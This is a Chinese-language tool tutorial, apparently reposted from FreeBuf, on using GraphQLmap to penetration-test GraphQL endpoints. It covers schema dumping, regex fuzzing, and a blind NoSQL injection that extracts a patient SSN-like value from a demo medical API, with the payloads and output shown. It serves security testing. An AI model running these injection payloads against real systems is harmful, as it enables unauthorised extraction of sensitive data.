前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用GraphQLmap对GraphQL节点进行渗透测试

如何使用GraphQLmap对GraphQL节点进行渗透测试

作者头像
FB客服
发布2021-07-02 17:07:33
1.9K0
发布2021-07-02 17:07:33
举报
文章被收录于专栏:FreeBuf

关于GraphQLmap

GraphQLmap是一个可以跟GraphQL节点交互的脚本引擎,广大研究人员可以使用GraphQLmap来针对GraphQL节点进行渗透测试和安全研究。

工具安装

代码语言:javascript
复制
$ git clone https://github.com/swisskyrepo/GraphQLmap

$ python graphqlmap.py                                                              

   _____                 _      ____  _                            

  / ____|               | |    / __ \| |                           

 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __  

 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \

 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |

  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/

                  | |                                       | |    

                  |_|                                       |_|    

                                         Author:Swissky Version:1.0

usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]

optional arguments:

  -h, --help          show this help message and exit

  -u URL              URL to query : example.com/graphql?query={}

  -v [VERBOSITY]      Enable verbosity

  --method [METHOD]   HTTP Method to use interact with /graphql endpoint

  --headers [HEADERS] HTTP Headers sent to /graphql endpoint

  --json              Send requests using POST and JSON

功能和使用样例

跟一个GraphQL节点连接

代码语言:javascript
复制
python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

导出GraphQL架构

使用dump_new导出GraphQL架构,这个功能将会自动使用找到的字段填充”autocomplete”:

代码语言:javascript
复制
GraphQLmap > dump_new                     

============= [SCHEMA] ===============

e.g: name[Type]: arg (Type!)                   

Query                                          

        doctor[]: email (String!),                                                             

        doctors[Doctor]:                                                                       

        patients[Patient]:                                                                     

        patient[]: id (ID!),                   

        allrendezvous[Rendezvous]:                                                             

        rendezvous[]: id (ID!),                                                                

Doctor                                         

        id[ID]:                                                                                

        firstName[String]:                     

        lastName[String]:                                                                      

        specialty[String]:                     

        patients[None]:

        rendezvous[None]:

        email[String]:

        password[String]:

[...]

视频演示:点击底部【阅读原文】观看

跟一个GraphQL节点交互

编写一个GraphQL请求并执行它:

代码语言:javascript
复制
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

{

    "data": {

        "doctors": [

            {

                "firstName": "Admin",

                "id": "5d089c51dcab2d0032fdd08d",

                "lastName": "Admin"

            }

        ]

    }

}

GraphQL字段模糊测试

使用GRAPHQL_INCREMENT和GRAPHQL_CHARSET来对参数进行模糊测试:

代码语言:javascript
复制
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}   

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}   

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}   

[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}     

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}

[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

视频演示:点击底部【阅读原文】观看

NoSQLi注入

在请求中使用BLIND_PLACEHOLDER 并实现NoSQLi注入:

代码语言:javascript
复制
GraphQLmap > nosqli

Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}

Check > 5d089c51dcab2d0032fdd08d

Charset > 0123456789abcdef-

[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b

GraphQLmap >

视频演示:点击底部【阅读原文】观看

SQL注入

代码语言:javascript
复制
GraphQLmap > postgresqli

GraphQLmap > mysqli

GraphQLmap > mssqli

项目地址:点击底部【阅读原文】获取

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于GraphQLmap
  • 工具安装
  • 功能和使用样例
    • 跟一个GraphQL节点连接
      • 导出GraphQL架构
        • 跟一个GraphQL节点交互
          • GraphQL字段模糊测试
            • NoSQLi注入
              • SQL注入
              相关产品与服务
              网站渗透测试
              网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档